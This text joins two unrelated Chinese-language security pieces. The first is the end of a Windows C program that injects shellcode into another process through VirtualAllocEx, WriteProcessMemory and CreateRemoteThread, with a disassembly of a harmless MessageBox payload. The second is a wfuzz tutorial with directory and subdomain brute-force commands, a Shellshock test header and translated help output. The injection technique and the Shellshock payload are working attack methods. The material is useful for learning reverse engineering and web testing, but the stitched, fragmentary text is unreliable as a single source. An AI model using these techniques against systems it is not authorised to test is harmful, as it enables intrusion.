        if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,

                                                                            NULL,

                                                                            dwSize,

                                                                            MEM_COMMIT,

                                                                             PAGE_EXECUTE_READWRITE)) )

        {

               printf("申请代码空间失败 : err_code = %d\n", GetLastError());

               return FALSE;

        }

        //写入代码

        if( !WriteProcessMemory(hProcess,

                                                     pRemoteBuf[1],

                                                     (LPVOID)ThreadProc,

                                                     dwSize,

                                                     NULL) )

        {

               printf("写入代码失败 : err_code = %d\n", GetLastError());

               return FALSE;

        }

        //调用远程线程

        if( !(hThread = CreateRemoteThread(hProcess,

                                                                       NULL,

                                                                       0,

                                                                        (LPTHREAD_START_ROUTINE)pRemoteBuf[1],

                                                                       pRemoteBuf[0],

                                                                       0,

                                                                       NULL)) )

        {

               printf("创建远程线程失败： err_code = %d\n", GetLastError());

               return FALSE;

        }

        WaitForSingleObject(hThread, INFINITE);

        CloseHandle(hThread);

        CloseHandle(hProcess);

        return TRUE;

}

 

int main(int argc, char *argv)

{

        DWORD dwPID = 0;

        if (argc != 2)

        {

               printf("\n USAGE  : %s <proc name>\n", argv[0]);

               return 1;

        }

        //提升自身权限

        if (!SetPrivilege(SE_DEBUG_NAME, TRUE))

        {

               return 1;

        }

               

        dwPID = (DWORD)atol(argv[1]);

        CodeInject(dwPID);

        

        return 0;

}

BYTE g_InjectionCode =

{

    0x55, 0x8B, 0xEC, 0x8B, 0x75, 0x08, 0x68, 0x6C, 0x6C, 0x00,

    0x00, 0x68, 0x33, 0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65,

    0x72, 0x54, 0xFF, 0x16, 0x68, 0x6F, 0x78, 0x41, 0x00, 0x68,

    0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54,

    0x50, 0xFF, 0x56, 0x04, 0x6A, 0x00, 0xE8, 0x0C, 0x00, 0x00,

    0x00, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x43, 0x6F,

    0x72, 0x65, 0x00, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x77, 0x77,

    0x77, 0x2E, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x63,

    0x6F, 0x72, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x6A, 0x00,

    0xFF, 0xD0, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3

};

 

004010ED    55               PUSH EBP

004010EE    8BEC             MOV EBP,ESP

004010F0    8B75 08          MOV ESI,DWORD PTR SS:[EBP+8]       ; ESI = pParam           

0[b]04010F3    68 6C6C0000      PUSH 6C6C                      

004010F8    68 33322E64      PUSH 642E3233

004010FD    68 75736572      PUSH 72657375[/b]

00401102    54               PUSH ESP                           ; - "user32.dll"

00401103    FF16             CALL DWORD PTR DS:[ESI]            ;  LoadLibraryA("user32.dll")

00401105    68 6F784100      PUSH 41786F

0040110A    68 61676542      PUSH 42656761

0040110F    68 4D657373      PUSH 7373654D

00401114    54               PUSH ESP                           ; - "MessageBoxA"

00401115    50               PUSH EAX                           ; - hMod

00401116    FF56 04          CALL DWORD PTR DS:[ESI+4]          ; GetProcAddress(hMod,  "MessageBoxA")

00401119    6A 00            PUSH 0                             ; - MB_OK (0)

[b]0040111B    E8 0C000000      CALL 0040112C

[/b]00401120                     <ASCII>                            ; - "ReverseCore", 0

[b]0040112C    E8 14000000      CALL 00401145[/b]

00401131                     <ASCII>                            ; - "www.reversecore.com",  0

00401145    6A 00            PUSH 0                             ; - hWnd (0)

00401147    FFD0             CALL EAX                           ; MessageBoxA(0,  "www.reversecore.com", "ReverseCore", 0)

00401149    33C0             XOR EAX,EAX                        

0040114B    8BE5             MOV ESP,EBP

0040114D    5D               POP EBP                            

0040114E    C3               RETN

• wfuzz能够通过发现并利用网站弱点/漏洞的方式帮助你使网站更加安全。wfuzz的漏洞扫描功能由插件支持。
• wfuzz是一个完全模块化的框架，这使得即使是Python初学者也能够进行开发和贡献代码。开发一个wfuzz插件是一件非常简单的事，通常只需几分钟。
• wfuzz提供了简洁的编程语言接口来处理wfuzz或Burpsuite获取到的HTTP请求和响应。这使得你能够在一个良好的上下文环境中进行手工测试或半自动化的测试，而不需要依赖web形式的扫描器。

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://www.secevery.com/FUZZ

ID：测试时的请求序号

Response：HTTP响应码

Lines：响应信息中的行数

Word：响应信息中的字数

Chars：响应信息中的字符数

Payload：当前使用的payload

-e<<category>>

wfuzz -e paylopad

wfuzz -e payloads

wfuzz -z help

$ wfuzz -z file --zP fn=/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ

$ wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://xxxx.com/FUZZ

$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt [url=http://xxxx.com/FUZZ我一般都使用最后一种。]http://xxxx.com/FUZZ[/url]

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/common.txt -w /usr/share/wfuzz/wordlist/general/extensions_common.txt --hc 404 http://xxxx.com/FUZZ/FUZ2ZFUZ3Z

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 [url=http://192.168.21.151/FUZZ]http://192.168.21.151/FUZZ [/url]

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404,403 [url]http://192.168.21.151/FUZZ[/url]   

wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z http://FUZZ.xxxx.com 

wfuzz -w /usr/share/wfuzz/wordlist/dic.txt -Z --hc 372 http://FUZZ.xxxx.com

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl BBB http://192.168.21.195/FUZZ{notthere}

$ wfuzz -H "User-Agent: () { :;}; echo; echo vulnerable" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ

    ┌─[michael@parrot]─[~]

    └──╼ $wfuzz -e payloads

    Available payloads:

    Name | Summary

    ------------------------------------------------------------------------------------------------------

    guitab | 从可视化的标签栏中读取请求

    dirwalk | 递归获得本地某个文件夹中的文件名

    file | 获取一个文件当中的每个词

    autorize | 获取autorize的测试结果Returns fuzz results' from autororize.

    wfuzzp | 从之前保存的wfuzz会话中获取测试结果的URL

    ipnet | 获得一个指定网络的IP地址列表

    bing | 获得一个使用bing API搜索的URL列表 (需要 api key).

    stdin | 获得从标准输入中的条目

    list | 获得一个列表中的每一个元素，列表用以 - 符号分格

    hexrand | 从一个指定的范围中随机获取一个hex值

    range | 获得指定范围内的每一个数值

    names | 从一个以 - 分隔的列表中，获取以组合方式生成的所有usernames值

    burplog | 从BurpSuite的记录中获得测试结果

    permutation | 获得一个在指定charset和length时的字符组合

    buffer_overflow | 获得一个包含指定个数个A的字符串.

    hexrange | 获得指定范围内的每一个hex值

    iprange | 获得指定IP范围内的IP地址列表

    burpstate | 从BurpSuite的状态下获得测试结果

    ┌─[michael@parrot]─[~]

    └──╼ $wfuzz -e encoders

    Available encoders:

    Category | Name | Summary

    ------------------------------------------------------------------------------------------------------------------------

    url_safe, url | urlencode | 用`%xx`的方式替换特殊字符， 字母/数字/下划线/半角点/减号不替换

    url_safe, url | double urlencode | 用`%25xx`的方式替换特殊字符， 字母/数字/下划线/半角点/减号不替换

    url | uri_double_hex | 用`%25xx`的方式将所有字符进行编码

    html | html_escape | 将`&`，`<`，`>`转换为HTML安全的字符

    html | html_hexadecimal | 用 `&#xx;` 的方式替换所有字符

    hashes | base64 | 将给定的字符串中的所有字符进行base64编码

    url | doble_nibble_hex | 将所有字符以`%%dd%dd`格式进行编码

    db | mssql_char | 将所有字符转换为MsSQL语法的`char(xx)`形式

    url | utf8 | 将所有字符以`\u00xx` 格式进行编码

    hashes | md5 | 将给定的字符串进行md5加密

    default | random_upper | 将字符串中随机字符变为大写

    url | first_nibble_hex | 将所有字符以`%%dd?` 格式进行编码

    default | hexlify | 每个数据的单个比特转换为两个比特表示的hex表示

    url | second_nibble_hex | 将所有字符以`%?%dd` 格式进行编码

    url | uri_hex | 将所有字符以`%xx` 格式进行编码

    default | none | 不进行任何编码

    hashes | sha1 | 将字符串进行sha1加密

    url | utf8_binary | 将字符串中的所有字符以 `\uxx` 形式进行编码

    url | uri_triple_hex | 将所有字符以`%25%xx%xx` 格式进行编码

    url | uri_unicode | 将所有字符以`%u00xx` 格式进行编码

    html | html_decimal | 将所有字符以 `&#dd; ` 格式进行编码

    db | oracle_char | 将所有字符转换为Oracle语法的`chr(xx)`形式

    db | mysql_char | 将所有字符转换为MySQL语法的`char(xx)`形式

    ┌─[michael@parrot]─[~]

    └──╼ $wfuzz -e iterators

    Available iterators:

    Name | Summary

    ----------------------------------------------------------------------------------------------

    product | 返回输入条目的笛卡尔积

    zip | Retns an iterator that aggregates elements from each of the iterables.

    chain | Returns an iterator returns elements from the first iterable until it is exhaust

    | ed, then proceeds to the next iterable, until all of the iterables are exhausted

    | （翻译不好，请自行理解）

    ┌─[michael@parrot]─[~]

    └──╼ $wfuzz -e printers

    Available printers:

    Name | Summary

    --------------------------------------------------

    raw | `Raw` output format

    json | Results in `json` format

    csv | `CSV` printer ftw

    magictree | Prints results in `magictree` format

    html | Prints results in `html` format

    （比较好懂，不再翻译）

    ┌─[michael@parrot]─[~]

    └──╼ $wfuzz -e scripts

    Available scripts:

    Category | Name | Summary

    ----------------------------------------------------------------------------------------------------

    default, passive | cookies | 查找新的cookies

    default, passive | errors | 查找错误信息

    passive | grep | HTTP response grep

    active | screenshot | 用linux cutycapt tool 进行屏幕抓取

    default, active, discovery | links | 解析HTML并查找新的内容

    default, active, discovery | wc_extractor | 解析subversion的wc.db文件

    default, passive | listing | 查找列目录漏洞

    default, passive | title | 解析HTML页面的title

    default, active, discovery | robots | 解析robots.txt文件来查找新内容

    default, passive | headers | 查找服务器的返回头

    default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件

    default, active, discovery | svn_extractor | 解析 .svn/entries 文件

    active, discovery | backups | 查找已知的备份文件名

    default, active, discovery | sitemap | 解析 sitemap.xml 文件

    ┌─[michael@parrot]─[~/.wfuzz]

    └──╼ $wfencode -e base64 123456

    MTIzNDU2

    ┌─[michael@parrot]─[~/.wfuzz]

    └──╼ $wfencode -d base64 MTIzNDU2

    123456

    ┌─[michael@parrot]─[~/.wfuzz]

    └──╼ $wfpayload -z range,0-10

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    ┌─[✗]─[michael@parrot]─[~]

    └──╼ $wfuzz --help

    ********************************************************

    * Wfuzz 2.2.9 - The Web Fuzzer *

    * *

    * Version up to 1.4c coded by: *

    * Christian Martorella (cmartorella@edge-security.com) *

    * Carlos del ojo (deepbit@gmail.com) *

    * *

    * Version 1.4d to 2.2.9 coded by: *

    * Xavier Mendez (xmendez@edge-security.com) *

    ********************************************************

    Usage: wfuzz [options] -z payload,params <url>

    FUZZ, ..., FUZnZ payload占位符，wfuzz会用指定的payload代替相应的占位符，n代表数字.

    FUZZ{baseline_value} FUZZ 会被 baseline_value替换，并将此作为测试过程中第一个请求来测试，可用来作为过滤的一个基础。

    Options:

    -h/--help : 帮助文档

    --help : 高级帮助文档

    --version : Wfuzz详细版本信息

    -e <type> : 显示可用的encoders/payloads/iterators/printers/scripts列表

    --recipe <filename> : 从文件中读取参数

    --dump-recipe <filename> : 打印当前的参数并保存成文档

    --oF <filename> : 将测试结果保存到文件，这些结果可被wfuzz payload 处理

    -c : 彩色化输出

    -v : 详细输出

    -f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).

    -o printer : 输出特定printer的输出结果

    --interact : (测试功能) 如果启用，所有的按键将会被捕获，这使得你能够与程序交互

    --dry-run : 打印测试结果，而并不发送HTTP请求

    --prev : 打印之前的HTTP请求（仅当使用payloads来生成测试结果时使用）

    -p addr : 使用代理，格式 ip:port:type. 可设置多个代理，type可取的值为SOCKS4,SOCKS5 or HTTP（默认）

    -t N : 指定连接的并发数，默认为10

    -s N : 指定请求的间隔时间，默认为0

    -R depth : 递归路径探测，depth指定最大递归数量

    -L,--follow : 跟随HTTP重定向

    -Z : 扫描模式 (连接错误将被忽视).

    --req-delay N : 设置发送请求允许的最大时间，默认为 90，单位为秒.

    --conn-delay N : 设置连接等待的最大时间，默认为 90，单位为秒.

    -A : 是 --script=default -v -c 的简写

    --script= : 与 --script=default 等价

    --script=<plugins> : 进行脚本扫描， <plugins> 是一个以逗号分开的插件或插件分类列表

    --script-help=<plugins> : 显示脚本的帮助

    --script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"

    -u url : 指定请求的URL

    -m iterator : 指定一个处理payloads的迭代器 (默认为product)

    -z payload : 为每一个占位符指定一个payload，格式为 name[,parameter][,encoder].

    编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.

    还可使用编码各类名，如 url

    使用help作为payload来显示payload的详细帮助信息，还可使用--slice进行过滤

    --zP <params> : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面

    --slice <filter> : 以指定的表达式过滤payload的信息，必须跟在-z 参数后面

    -w wordlist : 指定一个wordlist文件，等同于 -z file,wordlist

    -V alltype : 暴力测试所有GET/POST参数，无需指定占位符

    -X method : 指定一个发送请求的HTTP方法，如HEAD或FUZZ

    -b cookie : 指定请求的cookie参数，可指定多个cookie

    -d postdata : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")

    -H header : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.

    --basic/ntlm/digest auth : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"

    --hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)

    --sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)

    --ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果

    --filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)

    --prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目